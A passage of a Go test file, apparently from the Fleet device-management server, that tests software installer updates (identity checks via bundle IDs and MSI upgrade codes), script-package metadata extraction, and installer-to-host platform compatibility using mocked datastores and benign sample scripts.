(*fleet.SoftwareInstallerStatusSummary, error) { require.Equal(t, targetInstallerID, installerID) return nil, nil } baseSvc.NewActivityFunc = func(context.Context, *fleet.User, fleet.ActivityDetails) error { return nil } store := &mocksoftware.SoftwareInstallerStore{ ExistsFunc: func(context.Context, string) (bool, error) { return false, nil }, PutFunc: func(context.Context, string, io.ReadSeeker) error { return nil }, } svc.softwareInstallStore = store ctx := authz_ctx.NewContext(t.Context(), &authz_ctx.AuthorizationContext{}) ctx = viewer.NewContext(ctx, viewer.Viewer{ User: &fleet.User{ID: 1, GlobalRole: new(fleet.RoleAdmin)}, }) return testState{svc: svc, ds: ds, ctx: ctx, installer: installer, teamID: teamID} } readInstaller := func(t *testing.T, path string) ([]byte, string) { t.Helper() contents, err := os.ReadFile(path) require.NoError(t, err) sum := sha256.Sum256(contents) return contents, hex.EncodeToString(sum[:]) } newReplacement := func(t *testing.T, contents []byte) *fleet.TempFileReader { t.Helper() // XAR and MSI readers ignore trailing data, giving this test a distinct package hash // while preserving the installer's extracted software identity. replacement := append(bytes.Clone(contents), '\n') tfr, err := fleet.NewTempFileReader(bytes.NewReader(replacement), t.TempDir) require.NoError(t, err) t.Cleanup(func() { require.NoError(t, tfr.Close()) }) return tfr } t.Run("bundle identifier allows a different title name on a targeted package", func(t *testing.T) { contents, storageID := readInstaller(t, "testdata/dummy_installer.pkg") state := setup(t, "Dummy App", "dummy_installer.pkg", "pkg", "darwin", storageID, []string{"com.example.dummy"}, true) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(ctx context.Context, payload *fleet.UploadSoftwareInstallerPayload) (uint, error) { require.Equal(t, "DummyApp", payload.Title) require.Equal(t, "apps", payload.Source) require.Equal(t, "com.example.dummy", payload.BundleIdentifier) return titleID, nil } updated, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, InstallerID: targetInstallerID, Filename: "dummy_installer.pkg", InstallerFile: newReplacement(t, contents), }) require.NoError(t, err) require.Equal(t, targetInstallerID, updated.InstallerID) require.NotEqual(t, storageID, updated.StorageID) require.Equal(t, "1.0.0", updated.Version) require.True(t, state.ds.SaveInstallerUpdatesFuncInvoked) }) t.Run("rejects patch controls on a non-FMA installer", func(t *testing.T) { state := setup(t, "Dummy App", "dummy_installer.pkg", "pkg", "darwin", "dummy-storage", []string{"com.example.dummy"}, false) _, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Patch: new(true), }) require.ErrorContains(t, err, "Fleet-maintained apps") }) t.Run("upgrade code allows a different title name", func(t *testing.T) { contents, storageID := readInstaller(t, "../../../server/service/testdata/software-installers/fleet-osquery.msi") state := setup(t, "Fleet agent", "fleet-osquery.msi", "msi", "windows", storageID, []string{"{70A53353-01E5-424B-8819-ED882B3805D9}"}, false) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(ctx context.Context, payload *fleet.UploadSoftwareInstallerPayload) (uint, error) { require.Equal(t, "Fleet osquery", payload.Title) require.Equal(t, "programs", payload.Source) require.NotEmpty(t, payload.UpgradeCode) return titleID, nil } updated, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "fleet-osquery.msi", InstallerFile: newReplacement(t, contents), }) require.NoError(t, err) require.NotEqual(t, storageID, updated.StorageID) require.Equal(t, "1.0.0", updated.Version) }) for _, tt := range []struct { name string resolvedTitleID uint resolveErr error }{ {name: "not found", resolveErr: ¬FoundError{}}, {name: "different title", resolvedTitleID: titleID + 1}, } { t.Run("different software is rejected when "+tt.name, func(t *testing.T) { contents, storageID := readInstaller(t, "testdata/dummy_installer.pkg") state := setup(t, "Dummy App", "dummy_installer.pkg", "pkg", "darwin", storageID, []string{"com.example.dummy"}, false) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(context.Context, *fleet.UploadSoftwareInstallerPayload) (uint, error) { return tt.resolvedTitleID, tt.resolveErr } _, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "dummy_installer.pkg", InstallerFile: newReplacement(t, contents), }) require.ErrorContains(t, err, "The selected package is for different software.") require.False(t, state.ds.SaveInstallerUpdatesFuncInvoked) require.Equal(t, storageID, state.installer.StorageID) }) } t.Run("different upgrade code is rejected", func(t *testing.T) { contents, storageID := readInstaller(t, "../../../server/service/testdata/software-installers/fleet-osquery.msi") state := setup(t, "Fleet agent", "fleet-osquery.msi", "msi", "windows", storageID, []string{"{70A53353-01E5-424B-8819-ED882B3805D9}"}, false) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(ctx context.Context, payload *fleet.UploadSoftwareInstallerPayload) (uint, error) { require.NotEmpty(t, payload.UpgradeCode) return 0, ¬FoundError{} } _, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "fleet-osquery.msi", InstallerFile: newReplacement(t, contents), }) require.ErrorContains(t, err, "The selected package is for different software.") require.False(t, state.ds.SaveInstallerUpdatesFuncInvoked) require.Equal(t, storageID, state.installer.StorageID) }) t.Run("extension mismatch takes precedence", func(t *testing.T) { _, storageID := readInstaller(t, "testdata/dummy_installer.pkg") msiContents, _ := readInstaller(t, "../../../server/service/testdata/software-installers/fleet-osquery.msi") state := setup(t, "Dummy App", "dummy_installer.pkg", "pkg", "darwin", storageID, []string{"com.example.dummy"}, false) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(context.Context, *fleet.UploadSoftwareInstallerPayload) (uint, error) { t.Fatal("identity resolver must not run before the extension check") return 0, nil } _, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "fleet-osquery.msi", InstallerFile: newReplacement(t, msiContents), }) require.ErrorContains(t, err, "The selected package is for a different file type.") require.False(t, state.ds.GetExistingSoftwareInstallerTitleIDFuncInvoked) }) t.Run("non-file edit does not resolve identity", func(t *testing.T) { _, storageID := readInstaller(t, "testdata/dummy_installer.pkg") state := setup(t, "Dummy App", "dummy_installer.pkg", "pkg", "darwin", storageID, []string{"com.example.dummy"}, false) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(context.Context, *fleet.UploadSoftwareInstallerPayload) (uint, error) { t.Fatal("identity resolver must not run without a replacement file") return 0, nil } state.ds.UpdateInstallerSelfServiceFlagFunc = func(ctx context.Context, selfService bool, installerID uint) error { require.True(t, selfService) require.Equal(t, targetInstallerID, installerID) state.installer.SelfService = selfService return nil } updated, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, SelfService: new(true), }) require.NoError(t, err) require.Equal(t, targetInstallerID, updated.InstallerID) require.True(t, updated.SelfService) require.False(t, state.ds.GetExistingSoftwareInstallerTitleIDFuncInvoked) }) t.Run("same-named package with an unresolved identity is accepted via the name fallback", func(t *testing.T) { // A same-named Windows MSI whose upgrade_code changed resolves to not-found by identity; the // name fallback must still accept it. contents, storageID := readInstaller(t, "../../../server/service/testdata/software-installers/fleet-osquery.msi") state := setup(t, "Fleet osquery", "fleet-osquery.msi", "msi", "windows", storageID, []string{"{70A53353-01E5-424B-8819-ED882B3805D9}"}, false) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(ctx context.Context, payload *fleet.UploadSoftwareInstallerPayload) (uint, error) { require.Equal(t, "Fleet osquery", payload.Title) return 0, ¬FoundError{} } updated, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "fleet-osquery.msi", InstallerFile: newReplacement(t, contents), }) require.NoError(t, err) require.NotEqual(t, storageID, updated.StorageID) require.True(t, state.ds.SaveInstallerUpdatesFuncInvoked) }) t.Run("different software is rejected on a targeted multi-package installer", func(t *testing.T) { contents, storageID := readInstaller(t, "testdata/dummy_installer.pkg") state := setup(t, "Different Osquery Name", "dummy_installer.pkg", "pkg", "darwin", storageID, []string{"com.example.dummy"}, true) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(context.Context, *fleet.UploadSoftwareInstallerPayload) (uint, error) { return titleID + 1, nil // resolves to a different title } _, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, InstallerID: targetInstallerID, Filename: "dummy_installer.pkg", InstallerFile: newReplacement(t, contents), }) require.ErrorContains(t, err, "The selected package is for different software.") require.True(t, state.ds.GetSoftwarePackagesByTeamAndTitleIDFuncInvoked) require.False(t, state.ds.SaveInstallerUpdatesFuncInvoked) require.Equal(t, storageID, state.installer.StorageID) }) t.Run("fleet-maintained app rejects a file change with the FMA message before identity resolution", func(t *testing.T) { contents, storageID := readInstaller(t, "../../../server/service/testdata/software-installers/EchoApp.pkg") state := setup(t, "Dummy App", "dummy_installer.pkg", "pkg", "darwin", storageID, []string{"com.example.dummy"}, false) fmaID := uint(7) state.installer.FleetMaintainedAppID = &fmaID state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(context.Context, *fleet.UploadSoftwareInstallerPayload) (uint, error) { t.Fatal("identity resolver must not run for a fleet-maintained app") return 0, nil } _, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "echoapp.pkg", InstallerFile: newReplacement(t, contents), }) require.ErrorContains(t, err, "The package can't be changed for Fleet-maintained apps.") require.False(t, state.ds.GetExistingSoftwareInstallerTitleIDFuncInvoked) require.False(t, state.ds.SaveInstallerUpdatesFuncInvoked) }) t.Run("identity resolving to a different title is rejected even when the name matches", func(t *testing.T) { // Guards the wrong-software overwrite: the title name equals the uploaded package's extracted // name ("DummyApp"), but its identity resolves to a different title, so it must be rejected. contents, storageID := readInstaller(t, "testdata/dummy_installer.pkg") state := setup(t, "DummyApp", "dummy_installer.pkg", "pkg", "darwin", storageID, []string{"com.example.dummy"}, false) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(context.Context, *fleet.UploadSoftwareInstallerPayload) (uint, error) { return titleID + 1, nil // resolves to a different existing title } _, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "dummy_installer.pkg", InstallerFile: newReplacement(t, contents), }) require.ErrorContains(t, err, "The selected package is for different software.") require.False(t, state.ds.SaveInstallerUpdatesFuncInvoked) require.Equal(t, storageID, state.installer.StorageID) }) t.Run("targeted installer upgrade code accepts a renamed title without a title lookup", func(t *testing.T) { // A sibling MSI whose own upgrade_code differs from the title's: the title lookup can't see it // (returns not-found), and the title was renamed so the name fallback also fails — but the // edited installer's own upgrade_code matches, so the fast path accepts without hitting the DB. contents, storageID := readInstaller(t, "../../../server/service/testdata/software-installers/fleet-osquery.msi") state := setup(t, "Renamed osquery title", "fleet-osquery.msi", "msi", "windows", storageID, []string{"{70A53353-01E5-424B-8819-ED882B3805D9}"}, false) state.installer.UpgradeCode = "{B681CB20-107E-428A-9B14-2D3C1AFED244}" // fleet-osquery.msi's own upgrade code state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(context.Context, *fleet.UploadSoftwareInstallerPayload) (uint, error) { t.Fatal("title lookup must be skipped when the upgrade code fast path matches") return 0, nil } updated, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "fleet-osquery.msi", InstallerFile: newReplacement(t, contents), }) require.NoError(t, err) require.NotEqual(t, storageID, updated.StorageID) require.False(t, state.ds.GetExistingSoftwareInstallerTitleIDFuncInvoked) require.True(t, state.ds.SaveInstallerUpdatesFuncInvoked) }) t.Run("a datastore error resolving identity is propagated", func(t *testing.T) { contents, storageID := readInstaller(t, "testdata/dummy_installer.pkg") state := setup(t, "Dummy App", "dummy_installer.pkg", "pkg", "darwin", storageID, []string{"com.example.dummy"}, false) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(context.Context, *fleet.UploadSoftwareInstallerPayload) (uint, error) { return 0, errors.New("datastore boom") } _, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "dummy_installer.pkg", InstallerFile: newReplacement(t, contents), }) require.ErrorContains(t, err, "resolving title for updated installer") require.False(t, state.ds.SaveInstallerUpdatesFuncInvoked) }) t.Run("name-only package resolving to a different title falls through to the name check", func(t *testing.T) { // A name-only package (no bundle id / upgrade code): the resolver's name branch has no // LIMIT/ORDER BY and can match multiple same-named titles ambiguously, so a "different title" // result must not reject on its own — it falls through to the name check, which matches here. contents, storageID := readInstaller(t, "../../../server/service/testdata/software-installers/vim.deb") state := setup(t, "vim", "vim.deb", "deb", "linux", storageID, []string{"vim"}, false) state.ds.GetExistingSoftwareInstallerTitleIDFunc = func(context.Context, *fleet.UploadSoftwareInstallerPayload) (uint, error) { return titleID + 1, nil // ambiguous name-only match returns another same-named title } updated, err := state.svc.UpdateSoftwareInstaller(state.ctx, &fleet.UpdateSoftwareInstallerPayload{ TitleID: titleID, TeamID: &state.teamID, Filename: "vim.deb", InstallerFile: newReplacement(t, contents), }) require.NoError(t, err) require.NotEqual(t, storageID, updated.StorageID) require.True(t, state.ds.SaveInstallerUpdatesFuncInvoked) }) } // Software installer and setup-experience uploads validate referenced custom // host vitals, so mock-backed tests that don't care about it needn't stub it. func defaultMockCustomHostVitalsValidation(ds fleet.Datastore) { if mockDS, ok := ds.(*mock.Store); ok && mockDS.ValidateReferencedCustomHostVitalsFunc == nil { mockDS.ValidateReferencedCustomHostVitalsFunc = func(ctx context.Context, documents []string) error { return nil } } } func TestAddScriptPackageMetadata(t *testing.T) { t.Parallel() ctx := context.Background() svc := newTestService(t, nil) t.Run("valid shell script", func(t *testing.T) { scriptContents := "#!/bin/bash\necho 'Installing software'\n" tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.sh") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "install-app.sh", } err = svc.addScriptPackageMetadata(ctx, payload, "sh") require.NoError(t, err) require.Equal(t, "install-app", payload.Title) require.Equal(t, "", payload.Version) require.Equal(t, scriptContents, payload.InstallScript) require.Equal(t, "linux", payload.Platform) require.Equal(t, "sh_packages", payload.Source) require.Empty(t, payload.BundleIdentifier) require.Empty(t, payload.PackageIDs) require.NotEmpty(t, payload.StorageID) require.Equal(t, "sh", payload.Extension) }) t.Run("valid powershell script", func(t *testing.T) { scriptContents := "Write-Host 'Installing software'\n" tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.ps1") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "install-app.ps1", } err = svc.addScriptPackageMetadata(ctx, payload, "ps1") require.NoError(t, err) require.Equal(t, "install-app", payload.Title) require.Equal(t, "", payload.Version) require.Equal(t, scriptContents, payload.InstallScript) require.Equal(t, "windows", payload.Platform) require.Equal(t, "ps1_packages", payload.Source) require.Empty(t, payload.BundleIdentifier) require.Empty(t, payload.PackageIDs) require.NotEmpty(t, payload.StorageID) }) t.Run("valid python script", func(t *testing.T) { scriptContents := "#!/usr/bin/env python3\nprint('Installing software')\n" tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.py") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "install-app.py", } err = svc.addScriptPackageMetadata(ctx, payload, "py") require.NoError(t, err) require.Equal(t, "install-app", payload.Title) require.Empty(t, payload.Version) require.Equal(t, scriptContents, payload.InstallScript) require.Equal(t, "linux", payload.Platform) require.Equal(t, "py_packages", payload.Source) require.Empty(t, payload.BundleIdentifier) require.Empty(t, payload.PackageIDs) require.NotEmpty(t, payload.StorageID) require.Equal(t, "py", payload.Extension) }) t.Run("python script without shebang", func(t *testing.T) { scriptContents := "print('hello')\n" tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.py") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "test.py", } err = svc.addScriptPackageMetadata(ctx, payload, "py") require.Error(t, err) require.Contains(t, err.Error(), "Script validation failed") require.Contains(t, err.Error(), "python shebang") }) t.Run("python script with shell shebang", func(t *testing.T) { scriptContents := "#!/bin/bash\necho 'hello'\n" tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.py") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "test.py", } err = svc.addScriptPackageMetadata(ctx, payload, "py") require.Error(t, err) require.Contains(t, err.Error(), "Script validation failed") require.Contains(t, err.Error(), "python shebang") }) t.Run("invalid shebang", func(t *testing.T) { scriptContents := "#!/usr/bin/python\nprint('hello')\n" tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.sh") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "test.sh", } err = svc.addScriptPackageMetadata(ctx, payload, "sh") require.Error(t, err) require.Contains(t, err.Error(), "Script validation failed") require.Contains(t, err.Error(), "Interpreter not supported") }) t.Run("empty script", func(t *testing.T) { tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.sh") require.NoError(t, err) defer tmpFile.Close() tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "test.sh", } err = svc.addScriptPackageMetadata(ctx, payload, "sh") require.Error(t, err) require.Contains(t, err.Error(), "must not be empty") }) t.Run("custom title preserved", func(t *testing.T) { scriptContents := "#!/bin/bash\necho 'test'\n" tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.sh") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "test.sh", Title: "My Custom Title", } err = svc.addScriptPackageMetadata(ctx, payload, "sh") require.NoError(t, err) require.Equal(t, "My Custom Title", payload.Title) }) t.Run("file contents preserved verbatim", func(t *testing.T) { scriptContents := "#!/bin/bash\necho \"Test's 'quotes'\"\necho $VAR\n\n" tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.sh") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "test.sh", } err = svc.addScriptPackageMetadata(ctx, payload, "sh") require.NoError(t, err) require.Equal(t, scriptContents, payload.InstallScript) }) } func TestAddScriptPackageMetadataLargeScript(t *testing.T) { t.Parallel() ctx := context.Background() svc := newTestService(t, nil) t.Run("large shell script within saved limit", func(t *testing.T) { t.Parallel() // Generate a script larger than UnsavedScriptMaxRuneLen (10K) but within // SavedScriptMaxRuneLen (500K). Script packages are persisted via GitOps // and should use the saved script limit. scriptContents := "#!/bin/bash\n" + strings.Repeat("echo 'line'\n", 1000) require.Greater(t, len(scriptContents), fleet.UnsavedScriptMaxRuneLen) require.Less(t, len(scriptContents), fleet.SavedScriptMaxRuneLen) tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.sh") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "large-install.sh", } err = svc.addScriptPackageMetadata(ctx, payload, "sh") require.NoError(t, err) require.Equal(t, scriptContents, payload.InstallScript) }) t.Run("large powershell script within saved limit", func(t *testing.T) { t.Parallel() scriptContents := strings.Repeat("Write-Host 'line'\r\n", 1000) require.Greater(t, len(scriptContents), fleet.UnsavedScriptMaxRuneLen) require.Less(t, len(scriptContents), fleet.SavedScriptMaxRuneLen) tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.ps1") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "large-install.ps1", } err = svc.addScriptPackageMetadata(ctx, payload, "ps1") require.NoError(t, err) require.Equal(t, scriptContents, payload.InstallScript) }) t.Run("large python script within saved limit", func(t *testing.T) { t.Parallel() scriptContents := "#!/usr/bin/env python3\n" + strings.Repeat("print('line')\n", 1000) require.Greater(t, len(scriptContents), fleet.UnsavedScriptMaxRuneLen) require.Less(t, len(scriptContents), fleet.SavedScriptMaxRuneLen) tmpFile, err := os.CreateTemp(t.TempDir(), "test-*.py") require.NoError(t, err) defer tmpFile.Close() _, err = tmpFile.WriteString(scriptContents) require.NoError(t, err) tfr, err := fleet.NewKeepFileReader(tmpFile.Name()) require.NoError(t, err) defer tfr.Close() payload := &fleet.UploadSoftwareInstallerPayload{ InstallerFile: tfr, Filename: "large-install.py", } err = svc.addScriptPackageMetadata(ctx, payload, "py") require.NoError(t, err) require.Equal(t, scriptContents, payload.InstallScript) }) } // TestInstallShScriptOnDarwin tests that .sh scripts (stored as platform='linux') // can be installed on darwin hosts. func TestInstallShScriptOnDarwin(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) // Mock darwin host ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return &fleet.Host{ ID: 1, OrbitNodeKey: ptr.String("orbit_key"), Platform: "darwin", TeamID: ptr.Uint(1), }, nil } // Not an in-house app ds.GetInHouseAppMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) (*fleet.SoftwareInstaller, error) { return nil, nil } // Mock .sh installer metadata (platform='linux' as .sh files are stored) ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool) (*fleet.SoftwareInstaller, error) { return &fleet.SoftwareInstaller{ InstallerID: 10, Name: "script.sh", Extension: "sh", Platform: "linux", // .sh stored as linux TeamID: ptr.Uint(1), TitleID: ptr.Uint(100), SelfService: false, }, nil } mockSoftwarePackagesFromMetadata(ds) // Label scoping check passes ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID, hostID uint) (bool, error) { return true, nil } // No pending install ds.GetHostLastInstallDataFunc = func(ctx context.Context, hostID, installerID uint) (*fleet.HostLastInstallData, error) { return nil, nil } // Reset retry attempts (no-op for test) ds.ResetNonPolicyInstallAttemptsFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint) error { return nil } // Capture that install request was inserted ds.InsertSoftwareInstallRequestFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint, opts fleet.HostSoftwareInstallOptions) (string, error) { return "install-uuid", nil } // Create admin user context ctx := viewer.NewContext(context.Background(), viewer.Viewer{ User: &fleet.User{GlobalRole: ptr.String(fleet.RoleAdmin)}, }) // Install .sh on darwin should succeed (not return BadRequestError) err := svc.InstallSoftwareTitle(ctx, 1, 100) require.NoError(t, err, ".sh install on darwin should succeed") require.True(t, ds.InsertSoftwareInstallRequestFuncInvoked, "install request should be created") } // TestInstallerCompatibleWithHost verifies that .sh and .py script packages // (stored as platform='linux') are compatible with any unix-like host. func TestInstallerCompatibleWithHost(t *testing.T) { t.Parallel() installer := func(name, platform string) *fleet.SoftwareInstaller { return &fleet.SoftwareInstaller{Name: name, Platform: platform} } host := func(platform string) *fleet.Host { return &fleet.Host{Platform: platform} } cases := []struct { name string installer *fleet.SoftwareInstaller host *fleet.Host want bool }{ {".py on darwin", installer("script.py", "linux"), host("darwin"), true}, {".py on ubuntu", installer("script.py", "linux"), host("ubuntu"), true}, {".py on windows", installer("script.py", "linux"), host("windows"), false}, {".sh on darwin", installer("script.sh", "linux"), host("darwin"), true}, {".sh on ubuntu", installer("script.sh", "linux"), host("ubuntu"), true}, {".sh on windows", installer("script.sh", "linux"), host("windows"), false}, {".deb on darwin", installer("installer.deb", "linux"), host("darwin"), false}, {".pkg on darwin", installer("app.pkg", "darwin"), host("darwin"), true}, {".pkg on ubuntu", installer("app.pkg", "darwin"), host("ubuntu"), false}, } for _, tt := range cases { t.Run(tt.name, func(t *testing.T) { require.Equal(t, tt.want, installerCompatibleWithHost(tt.installer, tt.host)) }) } } // TestInstallZipInstallerUsesStoredPlatform tests that .zip installers use the // stored platform (windows or darwin) rather than inferring darwin from the extension. func TestInstallZipInstallerUsesStoredPlatform(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return &fleet.Host{ ID: 1, OrbitNodeKey: new("orbit_key"), Platform: "windows", TeamID: new(uint(1)), }, nil } ds.GetInHouseAppMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) (*fleet.SoftwareInstaller, error) { return nil, nil } ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool) (*fleet.SoftwareInstaller, error) { return &fleet.SoftwareInstaller{ InstallerID: 10, Name: "codex-x86_64-pc-windows-msvc.exe.zip", Extension: "zip", Platform: "windows", TeamID: new(uint(1)), TitleID: new(uint(100)), SelfService: false, }, nil } mockSoftwarePackagesFromMetadata(ds) ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID, hostID uint) (bool, error) { return true, nil } ds.GetHostLastInstallDataFunc = func(ctx context.Context, hostID, installerID uint) (*fleet.HostLastInstallData, error) { return nil, nil } ds.ResetNonPolicyInstallAttemptsFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint) error { return nil } ds.InsertSoftwareInstallRequestFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint, opts fleet.HostSoftwareInstallOptions) (string, error) { return "install-uuid", nil } ctx := viewer.NewContext(context.Background(), viewer.Viewer{ User: &fleet.User{GlobalRole: new(fleet.RoleAdmin)}, }) err := svc.InstallSoftwareTitle(ctx, 1, 100) require.NoError(t, err, ".zip windows installer on windows host should succeed") require.True(t, ds.InsertSoftwareInstallRequestFuncInvoked, "install request should be created") } // TestUninstallZipInstallerUsesStoredPlatform tests that .zip installers use the // stored platform during uninstall, so a Windows host can uninstall a Windows // .zip package without the helper inferring darwin from the extension. func TestUninstallZipInstallerUsesStoredPlatform(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return &fleet.Host{ ID: 1, OrbitNodeKey: new("orbit_key"), Platform: "windows", TeamID: new(uint(1)), }, nil } ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool) (*fleet.SoftwareInstaller, error) { return &fleet.SoftwareInstaller{ InstallerID: 10, Name: "codex-x86_64-pc-windows-msvc.exe.zip", Extension: "zip", Platform: "windows", TeamID: new(uint(1)), TitleID: new(uint(100)), UninstallScriptContentID: 20, }, nil } ds.GetHostLastInstallDataFunc = func(ctx context.Context, hostID, installerID uint) (*fleet.HostLastInstallData, error) { return nil, nil } ds.GetAnyScriptContentsFunc = func(ctx context.Context, id uint) ([]byte, error) { return []byte("uninstall script"), nil } ds.InsertSoftwareUninstallRequestFunc = func(ctx context.Context, executionID string, hostID uint, softwareInstallerID uint, selfService bool) error { return nil } ctx := viewer.NewContext(context.Background(), viewer.Viewer{ User: &fleet.User{GlobalRole: new(fleet.RoleAdmin)}, }) err := svc.UninstallSoftwareTitle(ctx, 1, 100) require.NoError(t, err, ".zip windows installer on windows host should uninstall") require.True(t, ds.InsertSoftwareUninstallRequestFuncInvoked, "uninstall request should be created") } // TestSelfServiceInstallZipInstallerUsesStoredPlatform tests that .zip // installers use the stored platform during self-service install, so a Windows // host can self-service install a Windows .zip package without the helper // inferring darwin from the extension. func TestSelfServiceInstallZipInstallerUsesStoredPlatform(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) 